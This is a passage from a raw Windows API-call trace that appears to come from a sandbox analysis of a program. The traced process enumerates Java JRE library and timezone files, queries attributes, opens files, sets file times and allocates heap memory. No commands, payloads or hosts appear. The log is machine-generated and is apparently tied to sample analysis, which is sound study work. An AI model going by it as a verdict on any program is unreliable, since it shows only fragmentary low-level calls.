nFileSizeHigh=0x0, nFileSizeLow=0xad2, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklist", cAlternateFileName="")) returned 1 [0088.368] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1429a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cacerts", cAlternateFileName="")) returned 1 [0088.368] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.policy", cAlternateFileName="")) returned 1 [0088.368] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.security", cAlternateFileName="")) returned 1 [0088.368] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.policy", cAlternateFileName="")) returned 1 [0088.368] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.policy", cAlternateFileName="")) returned 1 [0088.368] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="")) returned 1 [0088.368] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="trusted.libraries", cAlternateFileName="")) returned 1 [0088.368] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="")) returned 1 [0088.368] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="")) returned 0 [0088.368] GetLastError () returned 0x12 [0088.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.368] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c370) returned 1 [0088.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.369] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="")) returned 1 [0088.369] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1fca, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="")) returned 1 [0088.369] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zi", cAlternateFileName="")) returned 1 [0088.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.370] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0088.371] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132ac20 [0088.371] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132ac20, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x132ac20, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132ac20) returned 1 [0088.371] NtClose (Handle=0x164) returned 0x0 [0088.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.372] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0088.373] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x746d2260, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.374] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Africa", cAlternateFileName="")) returned 1 [0088.374] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="America", cAlternateFileName="")) returned 1 [0088.374] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745c78c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745c78c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Antarctica", cAlternateFileName="")) returned 1 [0088.374] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745c78c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Asia", cAlternateFileName="")) returned 1 [0088.374] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Atlantic", cAlternateFileName="")) returned 1 [0088.374] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74613b80, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74613b80, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74613b80, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Australia", cAlternateFileName="")) returned 1 [0088.374] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CET", cAlternateFileName="")) returned 1 [0088.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd7c8 [0088.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250560 [0088.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x85c0) returned 0x12ea380 [0088.375] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CST6CDT", cAlternateFileName="")) returned 1 [0088.375] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.376] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd7e8 [0088.376] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12505e8 [0088.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.377] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x430, dwReserved0=0x0, dwReserved1=0x0, cFileName="EET", cAlternateFileName="")) returned 1 [0088.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.377] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.377] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd808 [0088.378] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250670 [0088.378] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.379] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="EST", cAlternateFileName="")) returned 1 [0088.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.379] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.379] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd828 [0088.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12506f8 [0088.380] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.380] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EST5EDT", cAlternateFileName="")) returned 1 [0088.380] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.381] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd848 [0088.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250780 [0088.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.382] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Etc", cAlternateFileName="")) returned 1 [0088.382] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Europe", cAlternateFileName="")) returned 1 [0088.382] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT", cAlternateFileName="")) returned 1 [0088.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.383] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd868 [0088.383] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250808 [0088.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.384] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HST", cAlternateFileName="")) returned 1 [0088.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.384] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.384] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd888 [0088.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250890 [0088.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.385] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indian", cAlternateFileName="")) returned 1 [0088.385] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MET", cAlternateFileName="")) returned 1 [0088.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd8a8 [0088.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250918 [0088.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.387] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MST", cAlternateFileName="")) returned 1 [0088.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.388] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.388] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.388] RtlAllocateHeap (HeapHandle=0x940000, 